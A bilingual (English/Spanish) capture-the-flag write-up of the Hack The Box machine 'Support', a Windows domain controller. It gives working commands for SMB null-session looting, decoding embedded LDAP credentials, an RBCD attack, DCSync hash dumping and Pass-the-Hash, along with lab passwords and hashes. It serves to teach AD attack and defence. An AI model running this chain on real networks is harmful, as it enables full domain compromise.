Support
Executive summary — Support is an Active Directory domain controller (Windows) solved by chaining credential leaks: an SMB share reachable via null session exposes an internal .NET tool with embedded, obfuscated LDAP credentials; those credentials let us read the
infoattribute of thesupportuser (its cleartext password), and a GenericAll relationship over the DC's own machine object enables an RBCD attack that ends in DCSync and Pass-the-Hash as Administrator. A SMB → .NET → LDAP → RBCD → DCSync → Root path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.33.20 |
Attack map
[SMB] null session / Guest enabled
│ smbclient -N -L → share "support-tools"
▼
[.NET] UserInfo.exe → embedded LDAP credentials (XOR)
│ ilspycmd → decompile → decode → support\ldap
▼
[LDAP] authenticated bind → "info" attribute
│ cleartext password of the support user
▼
[BloodHound] Shared Support Accounts → GenericAll over DC$
│ RBCD: addcomputer + rbcd write + getST (S4U2Self/Proxy)
▼
[DCSync] secretsdump → Administrator NTLM hash
│ Pass-the-Hash (wmiexec)
▼
[ROOT] Administrator → user.txt & root.txt
1. Reconnaissance
We start by mapping the whole surface with a full nmap scan (all ports, default scripts and version detection):
nmap -sC -sV -p- --min-rate 3000 -oN nmap_10.129.33.20.txt 10.129.33.20
Result (summary):
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http
636/tcp open tcpwrapped (LDAPS)
3268/tcp open ldap (Global Catalog)
3269/tcp open tcpwrapped (GC SSL)
5985/tcp open http WinRM
9389/tcp open mc-nmf .NET Message Framing (AD Web Services)
49664+ open msrpc (dynamic RPC ports)
Service Info: Host: DC; OS: Windows
Analysis: the port set —DNS (53), Kerberos (88), LDAP (389/636/3268), SMB (445), WinRM (5985) and AD Web Services (9389)— is the classic Domain Controller profile for Active Directory. The domain is
support.htband the DC host isDC.
We register the domain and the DC hostname in /etc/hosts so Kerberos and LDAP resolve by name:
echo "10.129.33.20 support.htb dc.support.htb DC.support.htb DC" | sudo tee -a /etc/hosts
Resumen ejecutivo — Support es un controlador de dominio de Active Directory (Windows) que se resuelve encadenando fugas de credenciales: un recurso SMB accesible con sesión nula expone una herramienta interna .NET con las credenciales LDAP embebidas y ofuscadas; esas credenciales permiten leer el atributo
infodel usuariosupport(su contraseña en claro), y una relación GenericAll sobre el objeto de máquina del propio DC habilita un ataque RBCD que desemboca en DCSync y Pass-the-Hash como Administrator. Un recorrido SMB → .NET → LDAP → RBCD → DCSync → Root.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.33.20 |
Mapa del ataque
[SMB] sesion nula / Guest habilitados
│ smbclient -N -L → recurso «support-tools»
▼
[.NET] UserInfo.exe → credenciales LDAP embebidas (XOR)
│ ilspycmd → descompilar → decodificar → support\ldap
▼
[LDAP] bind autenticado → atributo «info»
│ contraseña en claro del usuario support
▼
[BloodHound] Shared Support Accounts → GenericAll sobre DC$
│ RBCD: addcomputer + rbcd write + getST (S4U2Self/Proxy)
▼
[DCSync] secretsdump → hash NTLM de Administrator
│ Pass-the-Hash (wmiexec)
▼
[ROOT] Administrator → user.txt & root.txt
1. Reconocimiento
Arrancamos mapeando toda la superficie con un escaneo completo de nmap (todos los puertos, scripts por defecto y detección de versiones):
nmap -sC -sV -p- --min-rate 3000 -oN nmap_10.129.33.20.txt 10.129.33.20
Resultado (resumen):
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http
636/tcp open tcpwrapped (LDAPS)
3268/tcp open ldap (Global Catalog)
3269/tcp open tcpwrapped (GC SSL)
5985/tcp open http WinRM
9389/tcp open mc-nmf .NET Message Framing (AD Web Services)
49664+ open msrpc (puertos RPC dinámicos)
Service Info: Host: DC; OS: Windows
Análisis: el conjunto de puertos —DNS (53), Kerberos (88), LDAP (389/636/3268), SMB (445), WinRM (5985) y AD Web Services (9389)— es el perfil clásico de un Domain Controller de Active Directory. El dominio es
support.htby el host del DC esDC.
Registramos el dominio y el hostname del DC en /etc/hosts para que Kerberos y LDAP resuelvan por nombre:
echo "10.129.33.20 support.htb dc.support.htb DC.support.htb DC" | sudo tee -a /etc/hosts
2. SMB enumeration
Before writing SMB off, we check whether it accepts a null session (unauthenticated access) or the Guest user:
nxc smb 10.129.33.20 -u '' -p ''
# [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (Null Auth:True)
nxc smb 10.129.33.20 -u 'a' -p ''
# [+] support.htb\a: (Guest)
Why it matters: a null session or an active
Guestlets us list shares and enumerate domain objects with no credentials at all — a real entry vector even on a modern DC (Windows Server 2022).
With the null session confirmed, we list the shares:
smbclient -N -L //10.129.33.20/
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
The support-tools share (comment «support staff tools») is non-standard and reachable without credentials: that's the entry point. We pull its contents recursively:
smbclient -N //10.129.33.20/support-tools -c "recurse ON; prompt OFF; mget *"
Alongside well-known portable installers (7-Zip, Notepad++, PuTTY, SysinternalsSuite, WinDirStat, Wireshark) there is a file that isn't a public tool: UserInfo.exe.zip.
3. UserInfo.exe binary analysis
We unzip it and identify the file type:
unzip UserInfo.exe.zip -d userinfo
file userinfo/UserInfo.exe
# PE32 executable ... Intel i386 Mono/.Net assembly
It's a .NET assembly: a command-line tool to query Active Directory over LDAP. The usual pattern in these internal utilities is to carry embedded service credentials inside the binary itself.
We decompile it with ilspycmd (a dotnet tool):
dotnet tool install -g ilspycmd --version 7.2.1.6856 # the "latest" version needs net10, incompatible with the local SDK 6.0
export PATH="$PATH:/home/kali/.dotnet/tools"
ilspycmd -p -o decompiled UserInfo.exe
In UserInfo.Services/Protected.cs we find the obfuscated service password and the routine that deciphers it:
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword()
{
byte[] array = Convert.FromBase64String(enc_password);
for (int i = 0; i < array.Length; i++)
array[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDF);
return Encoding.Default.GetString(array);
}
And in UserInfo.Services/LdapQuery.cs we see which account it binds with:
string password = Protected.getPassword();
entry = new DirectoryEntry("LDAP://support.htb", "support\ldap", password);
What
getPassword()does: it Base64-decodes the string and applies a two-layer XOR to every byte — first against the repeating keyarmando, then against the constant0xDF—. The result is the cleartext password of thesupport\ldapservice account, used by the tool for read-only LDAP binds.
4. Decoding the credentials
We reimplement that same two-layer XOR in Python to recover the password without running the binary:
import base64
enc = '0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E'
key = b'armando'
arr = bytearray(base64.b64decode(enc))
out = bytearray((arr[i] ^ key[i % len(key)]) ^ 0xDF for i in range(len(arr)))
print(out.decode('latin-1'))
Result:
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
We validate the ldap credentials against SMB and LDAP:
nxc smb 10.129.33.20 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
nxc ldap 10.129.33.20 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
# [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz (both OK)
5. Authenticated LDAP enumeration — the info attribute
With valid credentials we can now query attributes that weren't visible anonymously. The info attribute (a notes field) is a common hiding place for passwords left there by operational mistake, so we dump it along with description:
ldapsearch -x -H ldap://10.129.33.20 -D "support\ldap" \
-w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-b "DC=support,DC=htb" "(objectClass=user)" sAMAccountName info description
Hit:
dn: CN=support,CN=Users,DC=support,DC=htb
info: Ironside47pleasure40Watchful
The support user stores its own cleartext password in the info attribute of its AD object. We verify it:
nxc smb 10.129.33.20 -u 'support' -p 'Ironside47pleasure40Watchful'
# [+] support.htb\support:Ironside47pleasure40Watchful (valid)
6. User flag
The support account has its own flag on the DC. It's retrieved once we have Administrator access (see Pass-the-Hash below), reading the file directly:
type C:\Users\support\Desktop\user.txt
4271eca618fb91337dcd8c0e9e402278
7. BloodHound collection
With the support credentials we collect the whole domain to look for escalation paths:
bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d support.htb \
-ns 10.129.33.20 -c All -o bh_output --zip
Instead of looking only at the «obvious» object, we filter every ACE in the dump for those granted to the group support belongs to (Shared Support Accounts, RID 1103):
import json, glob
target = 'S-1-5-21-1677581083-3380853377-188903654-1103'
for f in glob.glob('*.json'):
d = json.load(open(f))
for obj in d.get('data', []):
for ace in obj.get('Aces', []) or []:
if ace.get('PrincipalSID') == target:
print(f, obj['Properties'].get('name'), ace)
Key result:
bh_output_..._computers.json -> DC.SUPPORT.HTB {'RightName': 'GenericAll', 'PrincipalSID': '...-1103', 'PrincipalType': 'Group'}
The piece that changes everything: the
Shared Support Accountsgroup has GenericAll over the machine object of the Domain Controller itself (DC.SUPPORT.HTB). Full control over a computer account is exploitable via Resource-Based Constrained Delegation (RBCD): it lets us write the DC'smsDS-AllowedToActOnBehalfOfOtherIdentityattribute and authorize an attacker-controlled machine account to impersonate any user (Administrator included) against the DC's services.
8. RBCD attack
Step 1 — create our own machine account. By default ms-DS-MachineAccountQuota lets any authenticated user create up to 10 computer accounts:
addcomputer.py -computer-name 'PWNED$' -computer-pass 'Passw0rd123!' \
-dc-ip 10.129.33.20 'support.htb/support:Ironside47pleasure40Watchful'
# [*] Successfully added machine account PWNED$ with password Passw0rd123!.
Step 2 — configure RBCD delegation on the DC, abusing the group's GenericAll:
rbcd.py -delegate-from 'PWNED$' -delegate-to 'DC$' -dc-ip 10.129.33.20 \
-action write 'support.htb/support:Ironside47pleasure40Watchful'
# [*] Delegation rights modified successfully!
# [*] PWNED$ can now impersonate users on DC$ via S4U2Proxy
Step 3 — obtain a service ticket impersonating Administrator (S4U2Self + S4U2Proxy):
getST.py -spn 'cifs/dc.support.htb' -impersonate 'Administrator' \
-dc-ip 10.129.33.20 'support.htb/PWNED$:Passw0rd123!'
# [*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
Why it works: by controlling (GenericAll) the DC's machine object, we declare that our own computer account (
PWNED$) may act on behalf of other identities against the DC. Kerberos then allows, via S4U2Self (get a ticket to ourselves on behalf of an arbitrary user) followed by S4U2Proxy (exchange it for a valid service ticket to the delegated resource, the DC itself), a fully valid Service Ticket as Administrator — without knowing its password or hash.
9. DCSync — dumping NTDS.DIT
With the Administrator ticket loaded into the Kerberos cache, we run DCSync to dump the domain hashes:
export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
secretsdump.py -k -no-pass -dc-ip 10.129.33.20 dc.support.htb
Result (excerpt):
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6303be52e22950b5bcb764ff2b233302:::
ldap:1104:...:b735f8c7172b49ca2b956b8015eb2ebe:::
support:1105:...:11fbaef07d83e3f6cde9f0ff98a3af3d:::
... (rest of the domain users)
We obtain Administrator's NTLM hash: bb06cbc02b39abeddd1335bc30b19e26.
10. Pass-the-Hash and root flag
With the NTLM hash we don't need the password: we authenticate as Administrator via Pass-the-Hash:
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26 \
administrator@10.129.33.20 "whoami"
# support\administrator
And we read the root flag (and, now as Administrator, the support one too):
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26 \
administrator@10.129.33.20 "type C:\Users\Administrator\Desktop\root.txt"
8487c2009027c3bdc50e6d56ca2aeec0
Domain Controller fully compromised. 🏴
Dead ends
Not every avenue paid off — worth recording what didn't work and why:
| Attempted path | Result | Why it was discarded |
|---|---|---|
| Brute-force / default credentials against WinRM (5985) | Not attempted directly | Unnecessary — full admin access was already obtained via RBCD + Pass-the-Hash |
| Anonymous LDAP query without a bind | Failed | The server requires a successful bind before accepting searches (operationsError) |
Direct GenericAll of Shared Support Accounts over the Domain object (expected up front, given the machine's "classic" pattern) | Not found in this instance | ACE analysis over the DOMAIN object showed no entry for the group; the real privilege was over the DC.SUPPORT.HTB computer object, not the domain — fixed by reviewing every BloodHound JSON instead of assuming the ACE's target |
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Enumeration | SMB | Null session / Guest enabled; support-tools share reachable without credentials | Download of the internal UserInfo.exe tool |
| Access | .NET / UserInfo.exe | LDAP service credentials embedded and XOR-obfuscated | Valid support\ldap credentials |
| Access | Active Directory / LDAP | Cleartext password in the info attribute of the support user | support user credentials |
| PrivEsc | DC ACL (Shared Support Accounts) | GenericAll over the DC machine object → RBCD | Administrator impersonation (S4U2Self/Proxy) |
| PrivEsc | Domain replication | DCSync + Pass-the-Hash | Execution as Administrator (full compromise) |
Lessons learned
- SMB null session/Guest is still a real vector: always try
smbclient -N -Land enumerate shares before writing SMB off, even on a modern DC. - Internal tools = embedded credentials: any custom executable found on an open share should be decompiled (
ilspycmd, dnSpy, dotPeek) looking for hardcoded secrets. XOR obfuscation is not encryption: it reverses trivially. - The
info/descriptionattribute is a password hiding place: always dump these fields when enumerating LDAP with any valid credential, no matter how low-privileged. - Don't assume which object a privilege lands on: systematically analyze every ACE in the BloodHound dump. Here the
GenericAllwasn't over the domain, but over the DC machine object. - GenericAll over a computer account = direct RBCD: control over a DC's object lets you escalate to that account without passwords (create machine account + write
msDS-AllowedToActOnBehalfOfOtherIdentity+ S4U2Self/Proxy). Consider settingms-DS-MachineAccountQuotato 0. - Reusable Impacket chain:
addcomputer.py→rbcd.py -action write→getST.py -impersonate→secretsdump.py -kis the standard RBCD exploitation pattern in AD with this ACL configuration.
2. Enumeración SMB
Antes de descartar SMB, comprobamos si acepta sesión nula (autenticación sin credenciales) o el usuario Guest:
nxc smb 10.129.33.20 -u '' -p ''
# [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (Null Auth:True)
nxc smb 10.129.33.20 -u 'a' -p ''
# [+] support.htb\a: (Guest)
Por qué importa: una sesión nula o un
Guestactivo permiten listar recursos compartidos y enumerar objetos del dominio sin ninguna credencial — una vía de entrada real incluso en un DC moderno (Windows Server 2022).
Con la sesión nula confirmada, listamos los recursos compartidos:
smbclient -N -L //10.129.33.20/
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
El recurso support-tools (comentario «support staff tools») es no estándar y accesible sin credenciales: es el punto de entrada. Descargamos su contenido de forma recursiva:
smbclient -N //10.129.33.20/support-tools -c "recurse ON; prompt OFF; mget *"
Junto a instaladores portables conocidos (7-Zip, Notepad++, PuTTY, SysinternalsSuite, WinDirStat, Wireshark) aparece un archivo que no es una herramienta pública: UserInfo.exe.zip.
3. Análisis del binario UserInfo.exe
Descomprimimos e identificamos el tipo de fichero:
unzip UserInfo.exe.zip -d userinfo
file userinfo/UserInfo.exe
# PE32 executable ... Intel i386 Mono/.Net assembly
Es un ensamblado .NET: una herramienta de línea de comandos para consultar Active Directory por LDAP. El patrón habitual en estas utilidades internas es llevar credenciales de servicio embebidas en el propio binario.
Descompilamos con ilspycmd (herramienta de dotnet):
dotnet tool install -g ilspycmd --version 7.2.1.6856 # la version "latest" pide net10, incompatible con el SDK 6.0 local
export PATH="$PATH:/home/kali/.dotnet/tools"
ilspycmd -p -o decompiled UserInfo.exe
En UserInfo.Services/Protected.cs encontramos la contraseña de servicio ofuscada y la rutina que la descifra:
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword()
{
byte[] array = Convert.FromBase64String(enc_password);
for (int i = 0; i < array.Length; i++)
array[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDF);
return Encoding.Default.GetString(array);
}
Y en UserInfo.Services/LdapQuery.cs vemos con qué cuenta se hace el bind:
string password = Protected.getPassword();
entry = new DirectoryEntry("LDAP://support.htb", "support\ldap", password);
Qué hace
getPassword(): decodifica la cadena Base64 y aplica a cada byte un XOR de dos capas — primero contra la clave repetidaarmandoy después contra la constante0xDF—. El resultado es la contraseña en claro de la cuenta de serviciosupport\ldap, usada por la herramienta para binds LDAP de solo lectura.
4. Decodificación de las credenciales
Reimplementamos ese mismo XOR de dos capas en Python para recuperar la contraseña sin ejecutar el binario:
import base64
enc = '0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E'
key = b'armando'
arr = bytearray(base64.b64decode(enc))
out = bytearray((arr[i] ^ key[i % len(key)]) ^ 0xDF for i in range(len(arr)))
print(out.decode('latin-1'))
Resultado:
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Validamos las credenciales de ldap contra SMB y LDAP:
nxc smb 10.129.33.20 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
nxc ldap 10.129.33.20 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
# [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz (ambos OK)
5. Enumeración LDAP autenticada — atributo info
Con credenciales válidas ya podemos consultar atributos que no eran visibles de forma anónima. El atributo info (campo de notas) es un escondite habitual de contraseñas dejadas por error operativo, así que lo volcamos junto con description:
ldapsearch -x -H ldap://10.129.33.20 -D "support\ldap" \
-w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-b "DC=support,DC=htb" "(objectClass=user)" sAMAccountName info description
Hallazgo:
dn: CN=support,CN=Users,DC=support,DC=htb
info: Ironside47pleasure40Watchful
El usuario support guarda su propia contraseña en claro en el atributo info de su objeto AD. La verificamos:
nxc smb 10.129.33.20 -u 'support' -p 'Ironside47pleasure40Watchful'
# [+] support.htb\support:Ironside47pleasure40Watchful (valida)
6. User flag
La cuenta support tiene su propia flag en el DC. Se recupera una vez obtenido acceso como Administrator (ver Pass-the-Hash más abajo), leyendo el fichero directamente:
type C:\Users\support\Desktop\user.txt
4271eca618fb91337dcd8c0e9e402278
7. Recolección con BloodHound
Con las credenciales de support recolectamos toda la información del dominio para buscar rutas de escalada:
bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d support.htb \
-ns 10.129.33.20 -c All -o bh_output --zip
En lugar de mirar solo el objeto «obvio», filtramos todos los ACEs del volcado en busca de los que otorga el grupo del que support es miembro (Shared Support Accounts, RID 1103):
import json, glob
target = 'S-1-5-21-1677581083-3380853377-188903654-1103'
for f in glob.glob('*.json'):
d = json.load(open(f))
for obj in d.get('data', []):
for ace in obj.get('Aces', []) or []:
if ace.get('PrincipalSID') == target:
print(f, obj['Properties'].get('name'), ace)
Resultado clave:
bh_output_..._computers.json -> DC.SUPPORT.HTB {'RightName': 'GenericAll', 'PrincipalSID': '...-1103', 'PrincipalType': 'Group'}
La pieza que lo cambia todo: el grupo
Shared Support Accountstiene GenericAll sobre el objeto de máquina del propio Domain Controller (DC.SUPPORT.HTB). Control total sobre una cuenta de equipo es explotable mediante Resource-Based Constrained Delegation (RBCD): permite escribir el atributomsDS-AllowedToActOnBehalfOfOtherIdentitydel DC y autorizar a una cuenta de máquina controlada por el atacante a impersonar a cualquier usuario (incluido Administrator) frente a los servicios del DC.
8. Ataque RBCD
Paso 1 — crear una cuenta de máquina propia. Por defecto ms-DS-MachineAccountQuota permite a cualquier usuario autenticado crear hasta 10 cuentas de equipo:
addcomputer.py -computer-name 'PWNED$' -computer-pass 'Passw0rd123!' \
-dc-ip 10.129.33.20 'support.htb/support:Ironside47pleasure40Watchful'
# [*] Successfully added machine account PWNED$ with password Passw0rd123!.
Paso 2 — configurar la delegación RBCD sobre el DC, aprovechando el GenericAll del grupo:
rbcd.py -delegate-from 'PWNED$' -delegate-to 'DC$' -dc-ip 10.129.33.20 \
-action write 'support.htb/support:Ironside47pleasure40Watchful'
# [*] Delegation rights modified successfully!
# [*] PWNED$ can now impersonate users on DC$ via S4U2Proxy
Paso 3 — obtener un ticket de servicio impersonando a Administrator (S4U2Self + S4U2Proxy):
getST.py -spn 'cifs/dc.support.htb' -impersonate 'Administrator' \
-dc-ip 10.129.33.20 'support.htb/PWNED$:Passw0rd123!'
# [*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
Por qué funciona: al controlar (GenericAll) el objeto de máquina del DC, declaramos que nuestra propia cuenta de equipo (
PWNED$) puede actuar en nombre de otras identidades frente al DC. Kerberos permite entonces, vía S4U2Self (obtener un ticket para uno mismo en nombre de un usuario arbitrario) seguido de S4U2Proxy (canjearlo por un ticket de servicio válido para el recurso delegado, el propio DC), conseguir un Service Ticket totalmente válido como Administrator — sin conocer su contraseña ni su hash.
9. DCSync — volcado de NTDS.DIT
Con el ticket de Administrator cargado en la caché de Kerberos, ejecutamos DCSync para volcar los hashes del dominio:
export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
secretsdump.py -k -no-pass -dc-ip 10.129.33.20 dc.support.htb
Resultado (extracto):
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6303be52e22950b5bcb764ff2b233302:::
ldap:1104:...:b735f8c7172b49ca2b956b8015eb2ebe:::
support:1105:...:11fbaef07d83e3f6cde9f0ff98a3af3d:::
... (resto de usuarios del dominio)
Obtenemos el hash NTLM de Administrator: bb06cbc02b39abeddd1335bc30b19e26.
10. Pass-the-Hash y root flag
Con el hash NTLM no necesitamos la contraseña: nos autenticamos como Administrator mediante Pass-the-Hash:
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26 \
administrator@10.129.33.20 "whoami"
# support\administrator
Y leemos la flag de root (y de paso la de support, ya como Administrator):
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26 \
administrator@10.129.33.20 "type C:\Users\Administrator\Desktop\root.txt"
8487c2009027c3bdc50e6d56ca2aeec0
Domain Controller comprometido por completo. 🏴
Vías descartadas
No todo funcionó a la primera — merece la pena documentar qué no funcionó y por qué:
| Vía probada | Resultado | Motivo de descarte |
|---|---|---|
| Fuerza bruta / credenciales por defecto en WinRM (5985) | No probado directamente | Innecesario: se obtuvo acceso admin completo antes vía RBCD + Pass-the-Hash |
| Explotación directa de LDAP anónimo sin bind | Fallida | El servidor exige un bind exitoso antes de aceptar búsquedas (operationsError) |
ACL directa GenericAll de Shared Support Accounts sobre el objeto Domain (esperado inicialmente por el patrón «clásico» de la máquina) | No encontrada en esta instancia | El análisis de ACEs sobre el objeto DOMAIN no mostró ninguna entrada para el grupo; el privilegio real estaba sobre el objeto de computadora DC.SUPPORT.HTB, no sobre el dominio — se corrigió revisando todos los JSON de BloodHound en vez de asumir el objetivo del ACE |
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Enumeración | SMB | Sesión nula / Guest habilitados; recurso support-tools accesible sin credenciales | Descarga de la herramienta interna UserInfo.exe |
| Acceso | .NET / UserInfo.exe | Credenciales de servicio LDAP embebidas y ofuscadas con XOR | Credenciales válidas de support\ldap |
| Acceso | Active Directory / LDAP | Contraseña en claro en el atributo info del usuario support | Credenciales del usuario support |
| PrivEsc | ACL del DC (Shared Support Accounts) | GenericAll sobre el objeto de máquina del DC → RBCD | Impersonación de Administrator (S4U2Self/Proxy) |
| PrivEsc | Replicación de dominio | DCSync + Pass-the-Hash | Ejecución como Administrator (compromiso total) |
Lecciones aprendidas
- SMB con sesión nula/Guest sigue siendo un vector real: prueba siempre
smbclient -N -Ly enumera recursos antes de descartar SMB, incluso en un DC moderno. - Herramientas internas = credenciales embebidas: cualquier ejecutable propio hallado en un recurso abierto debe descompilarse (
ilspycmd, dnSpy, dotPeek) buscando secretos hardcodeados. La ofuscación XOR no es cifrado: se revierte trivialmente. - El atributo
info/descriptiones un escondite de contraseñas: vuelca siempre estos campos al enumerar LDAP con cualquier credencial válida, por baja que sea. - No asumas sobre qué objeto recae un privilegio: analiza sistemáticamente todos los ACEs del volcado de BloodHound. Aquí el
GenericAllno estaba sobre el dominio, sino sobre el objeto de máquina del DC. - GenericAll sobre una cuenta de equipo = RBCD directo: control sobre el objeto de un DC permite escalar a esa cuenta sin contraseñas (crear cuenta de máquina + escribir
msDS-AllowedToActOnBehalfOfOtherIdentity+ S4U2Self/Proxy). Considera ponerms-DS-MachineAccountQuotaa 0. - Cadena Impacket reutilizable:
addcomputer.py→rbcd.py -action write→getST.py -impersonate→secretsdump.py -kes el patrón estándar de explotación RBCD en AD con esta configuración de ACLs.